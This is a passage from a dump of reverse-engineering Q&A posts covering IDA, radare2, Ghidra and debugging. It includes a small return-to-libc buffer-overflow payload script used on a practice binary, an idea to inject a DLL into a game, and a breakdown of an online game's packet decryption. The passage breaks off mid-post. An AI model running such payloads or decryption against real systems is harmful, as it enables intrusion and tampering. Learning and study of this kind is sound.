        "Answer": "<p>This is untested, and is just a slightly expanded version of an old function <code>GetTarget</code> I have.  It's very low-tech (simple API usage only), and (probably) will only work correctly for the x86/64 platform where all conditional jump mnemonics start with <code>j</code> and no mnemonic starts with <code>j</code> that isn't a jump of some type.</p>\n<p>The alternative (which I also have) using NN_* code is harder to grasp for a beginner.</p>\n<pre><code>def GetTarget(ea):\n    mnem = GetMnem(ea)\n    if not mnem:\n        return BADADDR\n    \n    opType0 = GetOpType(ea, 0)\n    if mnem == &quot;jmp&quot; or mnem == &quot;call&quot; or mnem[0] == &quot;j&quot;:\n        if opType0 != o_near and opType0 != o_mem:\n            print(&quot;Can't follow opType0 &quot; + opTypeAsName(opType0))\n            return BADADDR\n        else:\n            return GetOperandValue(ea, 0)\n\n    if NextHead(ea) == ea + ItemSize(ea) and isFlow(GetFlags(NextHead(ea))):\n        return NextHead(ea)\n\ndef opTypeAsName(n):\n    for item in [x for x in dir(idc) if x.startswith('o_')]:\n        if getattr(idc, item) == n: return item\n</code></pre>\n<p>Since the way I used to code is really a little embarrassing, here is the same code in <em>correct pythonic idapython 7</em></p>\n<pre><code>def GetTarget7(ea):\n    mnem = idc.print_insn_mnem(ea)\n    if not mnem:\n        return idc.BADADDR\n    \n    opType0 = idc.get_operand_type(ea, 0)\n    if mnem == &quot;jmp&quot; or mnem == &quot;call&quot; or mnem[0] == &quot;j&quot;:\n        if opType0 != o_near and opType0 != o_mem:\n            print(&quot;Can't follow opType0 &quot; + opTypeAsName(opType0))\n            return idc.BADADDR\n        else:\n            return idc.get_operand_value(ea, 0)\n\n    if idc.next_head(ea) == ea + idc.get_item_size(ea) and \\\n            idc.is_flow(idc.get_full_flags(idc.next_head(ea))):\n        return idc.next_head(ea)\n</code></pre>\n<p><em>see <a href=\"https://github.com/sfinktah/sfida\" rel=\"nofollow noreferrer\">my github</a> for vim ultisnips auto-expanding 6 to 7 idapython conversion, and idapython syntax file</em></p>\n"
    },
    {
        "Id": "27316",
        "CreationDate": "2021-03-26T10:32:20.613",
        "Body": "<p>I am trying to find an offset IOSURFACEROOTUSERCLIENT_VTAB from an iOS kext(IOSurface) using radare2 and there is a need to use the command <code>&quot;/c pointer; offset&quot;</code> as per the instructions in this <a href=\"https://gist.github.com/uroboro/2cc054e1bc995232a4919044eae29967\" rel=\"nofollow noreferrer\"><em><strong>gist</strong></em></a>. On performing the command the expected out put is a list of locations where the specific instruction occurs.</p>\n<p>But when i try to run, the previous commands do work as expected. Except for the above command which gives the following output:</p>\n<pre><code>[0xfffffff00688b0d4]&gt; &quot;/c 0xfffffff007622000; 0x898&quot;\nUsage: /c   Search for crypto materials\n| /ca                 Search for AES keys expanded in memory\n| /cc[algo] [digest]  Find collisions (bruteforce block length values until given checksum is found)\n| /cd                 Search for ASN1/DER certificates\n| /cr                 Search for ASN1/DER private keys (RSA and ECC)\n</code></pre>\n<p>I'm getting the same response when the double quotes are dropped.</p>\n<p>Please help me understand what is wrong here, or if the format for radare2 has changed over the course of time or if I missed something.</p>\n<p>I did read the radare2 docs and but could not find any format in this form: <code>&quot;/c pointer; offset&quot;</code></p>\n<p>Thanks!</p>\n",
        "Title": "Radare2 - \"/c pointer; offset\" command not giving expected response to search instances of the same pair of similar instructions",
        "Tags": "|radare2|ios|kernel|offset|",
        "Answer": "<p>The <a href=\"https://gist.github.com/uroboro/2cc054e1bc995232a4919044eae29967\" rel=\"nofollow noreferrer\">gist</a> contains some old (create 3 yrs ago) r2 instructions and according to, also outdated, r2 book, it looks like <a href=\"https://radare.gitbooks.io/radare2book/content/search_bytes/intro.html\" rel=\"nofollow noreferrer\"><code>/c</code> command</a> was responsible for &quot;search for asm code matching the given string&quot;. Currently (<code>radare2 5.2.0-git 26093 @ linux-x86-64 git.5.1.1</code>) the similar instruction could be one from <code>/a</code> group</p>\n<pre><code>Usage: /a[?] [arg]  Search for assembly instructions matching given properties\n| /a push rbp           Assemble given instruction and search the bytes\n| /a1 [number]          Find valid assembly generated by changing only the nth byte\n| /aI                   Search for infinite loop instructions (jmp $$)\n| /aa mov eax           Linearly find aproximated assembly (case insensitive strstr)\n| /ac mov eax           Same as /aa, but case-sensitive\n| /ad[/*j] push;mov     Match ins1 followed by ins2 in linear disasm\n| /ad/ ins1;ins2        Search for regex instruction 'ins1' followed by regex 'ins2'\n| /ad/a instr           Search for every byte instruction that matches regexp 'instr'\n| /ae esil              Search for esil expressions matching substring\n| /af[l] family         Search for instruction of specific family (afl=list\n| /ai[j] 0x300 [0x500]  Find all the instructions using that immediate (in range)\n| /al                   Same as aoml, list all opcodes\n| /am opcode            Search for specific instructions of specific mnemonic\n| /ao instr             Search for instruction 'instr' (in all offsets)\n| /as[l] ([type])       Search for syscalls (See /at swi and /af priv)\n| /at[l] ([type])       Search for instructions of given type  \n</code></pre>\n<p>It looks like especially <code>/ad/</code> should work as it can find sections of code where two instructions are following each other matching some regexp.</p>\n<p>Based on this I think the following should work for you:</p>\n<pre><code>[0x00000000]&gt;&quot;/ad/ 0xfffffff007622000;0x898&quot;\n</code></pre>\n"
    },
    {
        "Id": "27320",
        "CreationDate": "2021-03-26T16:44:19.573",
        "Body": "<p>Ghidra uses <code>.cspec</code> files like <code>x86win.cspec</code> to define compiler related information, which are imported in the <code>.ldef</code> files like <code>x86.ldef</code> that define a processor language.</p>\n<p>How can I add a new <code>CompilerSpec</code> via a <code>.cspec</code> file to Ghidra without editing the existing <code>.ldef</code> file which is inherently part of the Ghidra core, but also without adding a new processor (with a new <code>.ldef</code> file)? This should also work with <code>analyzeHeadless</code>, so no just adding it in the GUI.</p>\n<p>This will probably end up requiring an extension which isn't an issue, I just don't know where to either put the file so it gets automatically loaded, or which API functions to call as part of the extension initialization to add the new <code>CompilerSpec</code>. The classes that implement the <code>CompilerSpec</code> interface have public constructors, that take the <code>.cspec</code> file as a parameter, but this doesn't look like it will be automatically added then after just creating an instance of it.</p>\n",
        "Title": "How to add a new CompilerSpec from a .cspec file to Ghidra?",
        "Tags": "|ghidra|",
        "Answer": "<p>This feature will be part of Ghidra 10 according to the preliminary release notes: <a href=\"https://github.com/NationalSecurityAgency/ghidra/blob/master/Ghidra/Configurations/Public_Release/src/global/docs/WhatsNew.html#L124-L130\" rel=\"nofollow noreferrer\">https://github.com/NationalSecurityAgency/ghidra/blob/master/Ghidra/Configurations/Public_Release/src/global/docs/WhatsNew.html#L124-L130</a></p>\n<blockquote>\n<p>Extensions can be added from the <code>Specification Extensions</code> tab under the <code>Options</code> dialog for the Program.</p>\n</blockquote>\n<p>The beta is already available for download at <a href=\"https://ghidra-sre.org/\" rel=\"nofollow noreferrer\">https://ghidra-sre.org/</a></p>\n<h2>Adding new Compiler Spec</h2>\n<p>The full process is, starting from a Codebrowser window with some binary named <code>ls</code>:</p>\n<p><code>Edit - Options for 'ls'</code>\nthen this window should open, where you can click on <code>Specification Extensions</code> on the left:</p>\n<p><a href=\"https://i.stack.imgur.com/Jt3do.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Jt3do.png\" alt=\"enter image description here\" /></a></p>\n<p>click <code>Import...</code> and select the file defining the extension. If you want to e.g. define a callfixup that tells the decompiler to treat some function as a <code>NOP</code> if called, you can write a file like this:</p>\n<pre><code>&lt;callfixup name=&quot;objc_retain&quot;&gt;\n    &lt;target name=&quot;_objc_retain&quot;/&gt;\n    &lt;target name=&quot;_objc_retainAutorelease&quot;/&gt;\n    &lt;pcode&gt;\n      &lt;body&gt;&lt;![CDATA[\n      x0 = x0;\n     ]]&gt;&lt;/body&gt;\n    &lt;/pcode&gt;\n  &lt;/callfixup&gt;\n</code></pre>\n<p>It seems like you can only define one extension per file, and can't import multiple files at once. Though at least in my case the actual replacement is often the same, just for different functions, so you can just add multiple targets.</p>\n"
    },
    {
        "Id": "27322",
        "CreationDate": "2021-03-27T03:43:20.730",
        "Body": "<p>I am trying to understand the difference between <code>analyze functions</code> and <code>analyze functions recursively</code> in Radare2. Given a code snippet like this:</p>\n<pre><code>#include &lt;stdio.h&gt;\n\nvoid b() {\n    printf(&quot;b is called\\n&quot;);\n}\n\nvoid a() {\n   printf(&quot;a is called\\n&quot;);\n   b();\n}\n\n\nint main() {\n    a();\n    return 0;\n}\n</code></pre>\n<p>When I run <code>afr</code> on the main function, it finds the following functions:</p>\n<pre><code>0x0000066a    1 21           main\n0x0000064d    1 29           sym.a\n0x00000510    1 6            sym.imp.puts\n0x0000063a    1 19           sym.b\n</code></pre>\n<p>However, when I run <code>af</code> on the main function, it again finds the same functions:</p>\n<pre><code>0x0000066a    1 21           main\n0x0000064d    1 29           sym.a\n0x00000510    1 6            sym.imp.puts\n0x0000063a    1 19           sym.b\n</code></pre>\n<p>I have not changed the default value of <code>anal.calls</code> which is set to <code>false</code></p>\n<p>So, my question is what extra is <code>afr</code> finding that <code>af</code> isn't?</p>\n<p>I am using Radare2 version 5.1.1</p>\n",
        "Title": "`af` vs `afr` in Radare2",
        "Tags": "|radare2|",
        "Answer": "<p><code>af</code> and <code>afr</code> are different. Check radare's code base for deep understanding - <a href=\"https://github.com/radareorg/radare2/blob/8d678888a97d9aed4049d1a7467132c41ad6ffa7/libr/core/cmd_anal.c\" rel=\"nofollow noreferrer\">https://github.com/radareorg/radare2/blob/8d678888a97d9aed4049d1a7467132c41ad6ffa7/libr/core/cmd_anal.c</a>.</p>\n<p><a href=\"https://i.stack.imgur.com/HbTax.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/HbTax.png\" alt=\"enter image description here\" /></a></p>\n<p><a href=\"https://i.stack.imgur.com/rZwL1.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/rZwL1.png\" alt=\"enter image description here\" /></a></p>\n<p>Now, consider following example to understand how they differ.</p>\n<pre><code>#include &lt;stdio.h&gt;\n\nint one()\n{\nreturn 1;\n}\n\nint fact(int n) {\n   if (n==0)\n      return 1;\n   else if (n==1)\n      return one();\n   else\n      return n*fact(n-1);\n}\n\nint main(void) {\n      return fact(5);\n}\n</code></pre>\n<p>I just used <a href=\"https://www.cs.mcgill.ca/%7Ecs573/fall2002/notes/lec273/lecture16/16_3.htm\" rel=\"nofollow noreferrer\">this</a> factorial code and modified it a little. And following is the radare2 output.</p>\n<pre><code>$ radare2 a.out\n -- This page intentionally left blank.\n[0x00401020]&gt; afl\n[0x00401020]&gt; s main\n[0x0040114e]&gt; afl\n[0x0040114e]&gt; af main\n[0x0040114e]&gt; afl\n0x0040114e    1 16           main\n0x00401111    6 61           sym.fact\n[0x0040114e]&gt; afr main\n[0x0040114e]&gt; afl\n0x0040114e    1 16           main\n0x00401111    6 61           sym.fact\n0x00401106    1 11           sym.one\n</code></pre>\n<p>Note the detection of additional function when recursive analysis is used.</p>\n"
    },
    {
        "Id": "27329",
        "CreationDate": "2021-03-27T18:42:22.443",
        "Body": "<p>I've found a function I want to call in x64dbg, and wanted to see it's prototype and how it looks like in IDA. However, I was expecting to see a function in IDA but land in the middle of one.</p>\n<p>The function I want to call in x64dbg:<a href=\"https://i.stack.imgur.com/GnS9V.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/GnS9V.png\" alt=\"enter image description here\" /></a></p>\n<p>I was expecting I could find the static address in IDA doing like so:</p>\n<p>RVA: 881C0000</p>\n<p>Finding this statically in IDA: 0000000140000000 (base) + 1C88 (RVA) yielding: 140001C88</p>\n<p>When seaching for address 140001C88 in IDA I land in the middle of a function, sub_140001B80. I was expecting to land at something like sub_140001C88 Can someone see what I'm doing wrong?</p>\n<p><a href=\"https://i.stack.imgur.com/FHESY.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/FHESY.png\" alt=\"enter image description here\" /></a></p>\n<p>(FYI: I'm trying to call a function that presses a button)</p>\n",
        "Title": "Finding function in IDA from x64dbg",
        "Tags": "|ida|x64dbg|",
        "Answer": "<p>If you want to use x64dbg for debugging and at the same time IDA Pro for static analysis, I recommend you one of my favourite plugin: <a href=\"https://github.com/bootleg/ret-sync\" rel=\"nofollow noreferrer\">https://github.com/bootleg/ret-sync</a></p>\n<p>You can for example run your binary program in a VM with x64dbg and synchronize it to highlight the current instruction in IDA Pro and much more like auto rebase, controlling/BP from IDA, Windbg...</p>\n"
    },
    {
        "Id": "27334",
        "CreationDate": "2021-03-28T02:35:05.853",
        "Body": "<p>I see such things but I just couldn't understand. Do you have any ideas?</p>\n<p>Thank you!</p>\n<p><a href=\"https://i.stack.imgur.com/PhpLW.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/PhpLW.png\" alt=\"enter image description here\" /></a></p>\n",
        "Title": "What does \"???\" mean in x32dbg?",
        "Tags": "|debugging|",
        "Answer": "<p>This means that there is no valid opcode for this spot. The other 'valid' opcodes in your picture look also not useful at all. I assume the whole block there is nothing that can be executed.</p>\n"
    },
    {
        "Id": "27339",
        "CreationDate": "2021-03-28T15:31:10.723",
        "Body": "<p>This has plagued me from IDA 6.5 to 7.5.</p>\n<pre><code>.text:0000000143EFE8CD CC                     db 0CCh ; \u00cc OFF64 SEGDEF [_text,140CFC35B]\n</code></pre>\n<p>It may not look like much, but when a conditional jump is placed over such a location, the result is debilitating.</p>\n<pre><code>.text:0000000143EFE8B6 0F 8F 9F DA DF FC      jg      loc_143019000-231CCA5h\n</code></pre>\n<p>Every instance creates an <code>xref</code> to the third .text segment at 0x143019000 along with multiple levels of chunk ownership, and Hexrays produces errors such as:</p>\n<pre><code>143019029: control flows out of bounds to 14301902A\n143019007: control flows out of bounds to 143018FB1\n143019023: control flows out of bounds to 143018FCD\n</code></pre>\n<p>I cannot remove, reproduce or detect the presence of these <code>OFF64 SEGDEF</code> lines, though the conditional jumps have the flag bit FF_0OFF set.</p>\n<p>These <code>OFF64 SEGDEF</code>s appear where-ever an <code>abs mov</code> was previously (they're being replaced in a de-obfuscation process), the one in this question previously being:</p>\n<pre><code>.text:0000000143EFE8CB 48 BA 5B C3 CF 40 01+  mov     rdx, offset loc_140CFC35B\n.text:0000000143EFE8CB 00 00 00\n</code></pre>\n<p>Assembling an identical statement to another another location does not cause one to appear.</p>\n<p>I have tried <code>ida_bytes.del_items</code>, <code>ida_bytes.del_value</code> (hides it, but it re-appears when repopulated),  <code>ida_bytes.del_mapping</code> and some other things I don't recall.  I've also tried forcing re-analysis with the bytes <code>nop</code>ped over, though a need an IDAPython solution.</p>\n<p>I've also tried some segment related functions in an effort to create a similar effect, in the hope the anything I know how to make I can then remove, but I failed in this effort also; my experience in segment-based assembly is minimal and from the 90's.</p>\n",
        "Title": "How to remove OFF64 SEGDEF from IDA disassembly",
        "Tags": "|ida|",
        "Answer": "<p>Though Igor kindly answered my immediate question, I was still left with the problem of how to conveniently dispose of these unused <code>fixup</code>s.  Fortunately I already use my own <code>MakeUnknown</code> and <code>PatchBytes</code> function, so I was able to simply include removal of <code>fixup</code> information with those and forget about the entire problem.</p>\n<p>I am including this code as an example of how to detect if a <code>fixup</code> is present, as <code>ida_fixups.exists_fixup</code> doesn't necessarily return what you think it will, if a <code>fixup</code> is hiding under an unexpected byte within an instruction.</p>\n<p>I've also included a <code>fixup visitor</code>.</p>\n<pre><code>def MyMakeUnknown(ea, nbytes, flags = 0):\n    r&quot;&quot;&quot;\n    @param ea:      any address within the first item to delete (C++: ea_t)\n    @param nbytes:  number of bytes in the range to be undefined (C++: asize_t)\n    @param flags:   combination of:     DELIT_EXPAND    DELIT_DELNAMES\n                                        DELIT_NOTRUNC   DELIT_NOUNAME\n                                        DELIT_NOCMT     DELIT_KEEPFUNC\n    @param may_destroy: optional callback invoked before deleting a head item.\n                        if callback returns false then deletion and operation\n                        fail. (C++: may_destroy_cb_t *)\n    @return: true on sucessful operation, otherwise false\n\n    Convert item (instruction/data) to unexplored bytes. The whole item\n    (including the head and tail bytes) will be destroyed. \n    &quot;&quot;&quot;\n    # check if caller has invoked with (start_ea, end_ea)\n    if nbytes &gt; ea:\n        nbytes = nbytes - ea\n\n    result = idaapi.del_items(ea, flags, nbytes)\n    if not result:\n        return result\n    \n    # check for fixups that must be removed \n    # https://reverseengineering.stackexchange.com/questions/27339/\n\n    fx = idaapi.get_next_fixup_ea(ea - 1)\n    while fx &lt; ea + nbytes:\n        idaapi.del_fixup(fx)\n        fx = idaapi.get_next_fixup_ea(fx)\n\n    return result\n\ndef MyMakeUnkn(ea, flags = 0):\n    return MyMakeUnknown(ea, 1, flags)\n\ndef example_fixup_visitor(ea):\n    line = idc.generate_disasm_line(ea, 0)\n    print(&quot;{:16x} {}&quot;.format(ea, line))\n\ndef visit_fixups(iteratee):\n    ea = idaapi.get_first_fixup_ea()\n    while ea != idc.BADADDR:\n        iteratee(ea)\n        ea = idaapi.get_next_fixup_ea(ea)\n\n# This is a bit length, so it's left until the end.\ndef PatchBytes(ea, patch=None, comment=None):\n    &quot;&quot;&quot;\n    @param ea [optional]:           address to patch (or ommit for screen_ea)\n    @param patch list|string|bytes: [0x66, 0x90] or &quot;66 90&quot; or b&quot;\\x66\\x90&quot;\n    @param comment [optional]:      comment to place on first patched line\n\n    @returns int containing nbytes patched\n\n    Can be invoked as PatchBytes(ea, &quot;66 90&quot;), PatchBytes(&quot;66 90&quot;, ea),\n    or just PatchBytes(&quot;66 90&quot;).\n    &quot;&quot;&quot;\n\n\n\n    if isinstance(ea, (list, str)):\n        ea, patch = patch, ea\n    elif ea is None:\n        ea = idc.get_screen_ea()\n    old_code = idc.is_code(idc.get_full_flags(idc.get_item_head(ea)))\n    old_head = idc.get_item_head(ea)\n\n\n    if isinstance(patch, str):\n        def intify(s): return -1 if '?' in s else int(s, 16)\n        patch = [hex_byte_as_pattern_int(x) for x in patch.split(' ')]\n\n    length = len(patch)\n    # deal with fixups\n    fx = idaapi.get_next_fixup_ea(ea - 1)\n    while fx &lt; ea + length:\n        idaapi.del_fixup(fx)\n        fx = idaapi.get_next_fixup_ea(fx)\n\n    if type(getattr(__builtins__, 'bytes', None)) == 'type' and isinstance(patch, bytes):\n        idaapi.patch_bytes(ea, patch)\n    else:\n        [idc.patch_byte(ea+i, patch[i]) for i in range(length) if patch[i] != -1]\n        #  for i in range(length):\n            #  if patch[i] != -1:\n                #  idc.patch_byte(ea+i, patch[i])\n\n    idc.auto_wait()\n\n    if comment:\n        comment_formatted = &quot;[PatchBytes:{:x}-{:x}] {}&quot;.format(ea, ea + length, str(comment))\n        if 'Commenter' in globals():\n            Commenter(old_head, 'line').add(comment_formatted)\n        else:\n            idaapi.set_cmt(old_head, comment_formatted, 0)\n\n    if old_code:\n        head = old_head\n        while head &lt; ea + length:\n            inslen = idc.get_item_size(head)                                  \\\n                    if idc.is_code(idc.get_full_flags(idc.get_item_head(ea))) \\\n                    else idc.create_insn(head)\n            if inslen &lt; 1:\n                break\n            head += inslen\n\n    return length\n</code></pre>\n"
    },
    {
        "Id": "27349",
        "CreationDate": "2021-03-29T12:53:41.563",
        "Body": "<p>This is a theoretical question because I've never set up remote kernel debugging before -- but I will do at some point, which should hopefully answer some of the experimental questions I have.</p>\n<p>What happens if you put a breakpoint in the breakpoint trap handling or kdcom / kdnet itself</p>\n<p>I can't find a single thing about this, but in the former case, wouldn't the CPU just freeze because the breakpoint is continually being hit without the remote debugger getting chance to remove the breakpoint or iretting to the instruction after the breakpoint.</p>\n<p>Also, from what I'm seeing, it seems like a stack trace hides any of the trap handling, and shows the breakpoint as the top frame on the stack.</p>\n",
        "Title": "How much of the kernel does remote kernel debugging allow you to debug?",
        "Tags": "|windows|debugging|windbg|kernel|",
        "Answer": "<p>The earliest break is sxe ibp break on kd communication<br />\nif you want to break earlier than that you need to lookup boot debugging<br />\nyou can use ctrl+alt+d for a debug spew of kdcom kdnet packets sent to and fro</p>\n"
    },
    {
        "Id": "27355",
        "CreationDate": "2021-03-30T09:49:37.133",
        "Body": "<p>I'm new to Radare2 so i'm trying to learn it by doing some basic buffer overflows. My problem is that, when i try to load some payloads, the stack seems to fake them in some differents ways...</p>\n<p>For example, trying to load the input by invoking a simple python script</p>\n<pre><code>import struct\n\ndef p (x):\n    return struct.pack('&lt;I',x)\n\nparam = &quot;&quot;\nparam += &quot;A&quot;*30\n\nparam += p(0xb7e40db0)\nparam += p(0xb7e349e0)\nparam += p(0xb7f61b0b)\n\nprint param\n</code></pre>\n<p>And using this for run it.</p>\n<p><code>r2 -d bufferoverflow `python payload.py` </code></p>\n<p>I get this stack when overflows.</p>\n<p><a href=\"https://i.stack.imgur.com/FXAZM.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/FXAZM.png\" alt=\"enter image description here\" /></a></p>\n<p>I don't use to get any problem by running it this way</p>\n<p>However, when i've set some breakpoints, customize some views in order to be more confortable, I've try to reload the file by using &quot;dor&quot; and &quot;doo&quot; commands from Radare2</p>\n<p><a href=\"https://i.stack.imgur.com/UcPL3.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/UcPL3.png\" alt=\"enter image description here\" /></a></p>\n<p>But now Radare2 seems to start faking the stack with some random values...</p>\n<p><a href=\"https://i.stack.imgur.com/xW0TR.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/xW0TR.png\" alt=\"enter image description here\" /></a></p>\n<p>I'm not sure if it's a problem of mine because i'm doing it the wrong way, or if it's caused by a Radare2 behavior that i don't know.</p>\n<p><a href=\"https://i.stack.imgur.com/o1r5M.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/o1r5M.png\" alt=\"enter image description here\" /></a></p>\n",
        "Title": "Radare2 does not reload payload correctly",
        "Tags": "|radare2|stack|",
        "Answer": "<p>I think it's intended behavior as this normal mode (no value prefixes - see later) is probably valid for ascii parameters. Here you are passing a payload that can contain ascii controlling bytes and might cause trouble.</p>\n<p>From the broken payload it's clearly visible that there's a missing byte <code>0x0d</code> and this is causing your problems. But why is it missing?</p>\n<p>Let's look at the code that sets the values from the new process from rarun2 profile (so basically from <code>dor</code> command in this case).</p>\n<p>The profile is being parsed with the following code (<code>libr\\socket\\run.c</code>):</p>\n<pre><code>R_API bool r_run_parse(RRunProfile *pf, const char *profile) {\n    r_return_val_if_fail (pf &amp;&amp; profile, false);\n    char *p, *o, *str = strdup (profile);\n    if (!str) {\n        return false;\n    }\n    r_str_replace_char (str, '\\r',0); // &lt;------ (1)\n    p = str;\n    while (p) {\n        if ((o = strchr (p, '\\n'))) {\n            *o++ = 0;\n        }\n    r_run_parseline (pf, p);\n    p = o;\n    }\n    free (str);\n    return true;\n}\n</code></pre>\n<p><code>str</code> is our rarun2 profile (what is passed to <code>dor</code>) and char <code>'\\r'</code> is in fact <code>0xd</code>. It is being removed from the input on line (1) before it's being passed to <code>r_run_parseline</code> that does parsing and setting process environment variables (like args).</p>\n<p>Not sure why the line is there - it might be to unify line endings? (windows/linux)</p>\n<p>What can be done to overcome this? Modify your script and use one of the value prefixes. If your script instead of raw bytes prints hexpair strings you can use <code>:</code> to parse it and correctly be passed to your program. So change you script to print like this <code>41414141.....</code></p>\n<p>and then from <code>r2</code> use <code>:</code> to indicate that the input is a hexpair string.</p>\n<pre><code>dor arg1=:`!python payload.py`\ndoo\n</code></pre>\n"
    },
    {
        "Id": "27377",
        "CreationDate": "2021-04-01T23:11:29.453",
        "Body": "<p>I'm using IDA to poke around in an old video game and noticed there are lots of calls to the <code>printf</code> function:</p>\n<p><a href=\"https://i.stack.imgur.com/EF1eK.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/EF1eK.png\" alt=\"\" /></a></p>\n<p>I can see in another function that <code>dword_5CE914</code> is a bitmask comprising various startup arguments (e.g. <code>debug</code>, <code>nofullscreen</code>, etc). As you may have guessed, <code>0x4000000</code> is the value that indicates the <code>debug</code> switch was present; despite enabling this, there is no visible debug output.</p>\n<p>As someone new to software programming, I <em>assume</em> that during the game's development the <code>printf</code> calls would have been outputting to a debugger/console window which were disabled for production.</p>\n<p>My question is: how can I view the output now that there is no debugger window?</p>\n<p>My current thought process would be to:</p>\n<ol>\n    <li>Create a custom DLL containing a function to output arbitrary text to a .txt file</li>\n    <li>Inject the DLL into the game's address space</li>\n    <li>Hook into <code>printf</code> and pass the argument into my function which saves the output</li>\n</ol>\n<p>Does that sound like a plausible approach, or can someone recommend a better way?</p>\n",
        "Title": "How can I view the output of printf calls without a console window?",
        "Tags": "|ida|dll-injection|",
        "Answer": "<p>If you convert the program to a console one (e.g. using EDITBIN), you should be able to run it from a console window and see everything it prints.</p>\n"
    },
    {
        "Id": "27402",
        "CreationDate": "2021-04-06T02:45:16.080",
        "Body": "<p>Why can programs written in C# be reverse-compiled essentially to their original form with variables names (such as dnSpy) while C++ decompilers (such as Ghidra) are unable to decode the variable names?</p>\n",
        "Title": "Why can C# applications be reverse-compiled with variable names while C++ ones can't?",
        "Tags": "|c++|dll|c#|",
        "Answer": "<p>Debug Symbol information is often &quot;stripped off&quot; from <code>C++</code> binaries. Symbol information stores all user-created names, symbols, and types, bounds, fouction boundary and other function related metadata information (it is generally stored according to a popular and standardized &quot;dwarf&quot; format which is widely used and employed in modern compilers). If you want to keep this information then compile your binary with - say <code>-g</code> flag in gcc or clang. For e.g. <code>gcc -g myprog.c</code>. You will find all user-defined symbols rendered by Ghidra.</p>\n<p>On the other hand, in <code>C#</code> .NET removal of name symbol metadata is not possible (as reflection requires retrieval of symbol for types at runtime). Thus to work around this, <code>C#</code> symbols are generally <a href=\"https://www.appsealing.com/code-obfuscation-comprehensive-guide/\" rel=\"noreferrer\">obfuscated</a>.</p>\n<p>References:\n<a href=\"https://www.appsealing.com/code-obfuscation-comprehensive-guide/\" rel=\"noreferrer\">https://www.appsealing.com/code-obfuscation-comprehensive-guide/</a>\n<a href=\"http://www.semdesigns.com/Products/Obfuscators/CSharpObfuscationExample.html\" rel=\"noreferrer\">http://www.semdesigns.com/Products/Obfuscators/CSharpObfuscationExample.html</a>\n<a href=\"https://help.gapotchenko.com/eazfuscator.net/53/advanced-features/symbol-names-encryption\" rel=\"noreferrer\">https://help.gapotchenko.com/eazfuscator.net/53/advanced-features/symbol-names-encryption</a></p>\n"
    },
    {
        "Id": "27414",
        "CreationDate": "2021-04-07T19:50:12.660",
        "Body": "<p>I'm currently trying to reverse engineer the decryption algorithm for an old online game, using a chat message packet, as it contains text which is easily recognizable.</p>\n<p>I used a packet sniffer to get the received packet (which is encrypted) from the server:</p>\n<pre><code>5e 00 09 32 3c c1 6e b5 ae be 90 4a 70 8f b7 3d\n3a 81 c5 3a f9 11 a6 06 36 3d f3 68 a3 dd 72 a3\nff e1 c3 e9 12 28 d7 c5 a0 f1 ce 38 35 59 19 b6\n85 90 76 23 42 af 50 6f 66 52 ec ad f9 da 61 3f\n5d 09 ee 8d dd 9e ff ee 7d 27 0f 5c 1e df ba 30\nde d0 c8 8c 1b 93 1d 53 66 13 98 ff 29 db\n</code></pre>\n<p>The first 4 bytes are known and unencrypted:</p>\n<p><code>5E 00</code> is the size, here 94.\n<code>09 32</code> is the OPCODE as a big endian: here 2354.\nWhat follow is the encrypted payload.</p>\n<p>Knowing the encrypted packet, I used Cheat Engine to set a breakpoint right after the winsocket receive function and then search the buffer where the packet is stored.</p>\n<p><strong>Important to note:</strong> Apparently, the buffer which stores the received (encrypted) packet will also store the decrypted one.</p>\n<p>Checking what writes to this address results in exact one instruction.\n<a href=\"https://i.stack.imgur.com/4ssuh.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/4ssuh.png\" alt=\"enter image description here\" /></a></p>\n<p>As the buffer which contains the encrypted packet also contains the decrypted one, I can say for sure that this has to be the function which decrypts the value.</p>\n<p>The decrypted packet looks the following (last bits contain the chat message, somewhere in between the username is stored):</p>\n<pre><code>5e 00 09 32 00 00 00 00 4d 00 6e 60 00 00 00 00\n06 0a 2c 00 00 00 74 00 65 00 73 00 74 00 63 00\n68 00 61 00 72 00 31 00 00 00 91 12 ad 14 5e 75\n00 00 cf 00 00 00 00 00 28 cd b8 69 fc f7 91 12\naa f1 07 4d 00 00 cf 00 00 00 00 00 10 74 65 73\n74 5f 6d 65 73 73 61 67 65 5f 31 32 33 00\n</code></pre>\n<p>I then used Ghidra to inspect the specific instructions which handle the decryption part - this is where I am currently stuck and don't know how to proceed, as I don't have a deep understanding of this topic.</p>\n<pre><code>    undefined4 decrypt_package(int type,int param_2,int param_3,int param_4,int param_5)\n    {\n      undefined4 success;\n      int counter;\n      \n      if ((param_3 == 0) || (param_4 == 0)) {\n        s = 0;\n      }\n      else {\n          // Old encryption function which only used byte ^ 255\n          // I assume it's still in here, because the code wasn't cleaned up.\n        if (type == 0) {\n          counter = 0;\n          while (counter &lt; param_5) {\n            *(byte *)(param_3 + counter) = *(byte *)(param_4 + counter) ^ 0xff;\n            counter = counter + 1;\n          }\n        }\n        else {  // Don't know when this is used - at least not for decryption\n          if (type == 1) {\n            param_2 = 0x48473c;\n            counter = 0;\n            while (counter &lt; param_5) {\n              *(byte *)(param_3 + counter) = *(byte *)(param_4 + counter) ^ (byte)((uint)param_2 &gt;&gt; 8);\n              param_2 = ((uint)*(byte *)(param_3 + counter) + param_2) * 0x2ba339 + 0x2cad2b5;\n              counter = counter + 1;\n            }\n          }\n          else {\n              // This block of code is called for the decryption part.\n            if (type == 2) {\n              counter = 0;\n              while (counter &lt; param_5) {\n                *(byte *)(param_3 + counter) = *(byte *)(param_4 + counter) ^ (byte)((uint)param_2 &gt;&gt; 8)\n                ;\n                param_2 = ((uint)*(byte *)(param_3 + counter) + param_2) * 0x8e9a99 + 0x685b24;\n                counter = counter + 1;\n              }\n            }\n          }\n        }\n        success = 1;\n      }\n      return success;\n    }\n</code></pre>\n<p>(Note for the type == 0: When the game first released, it only used a simple XOR with 255 as an 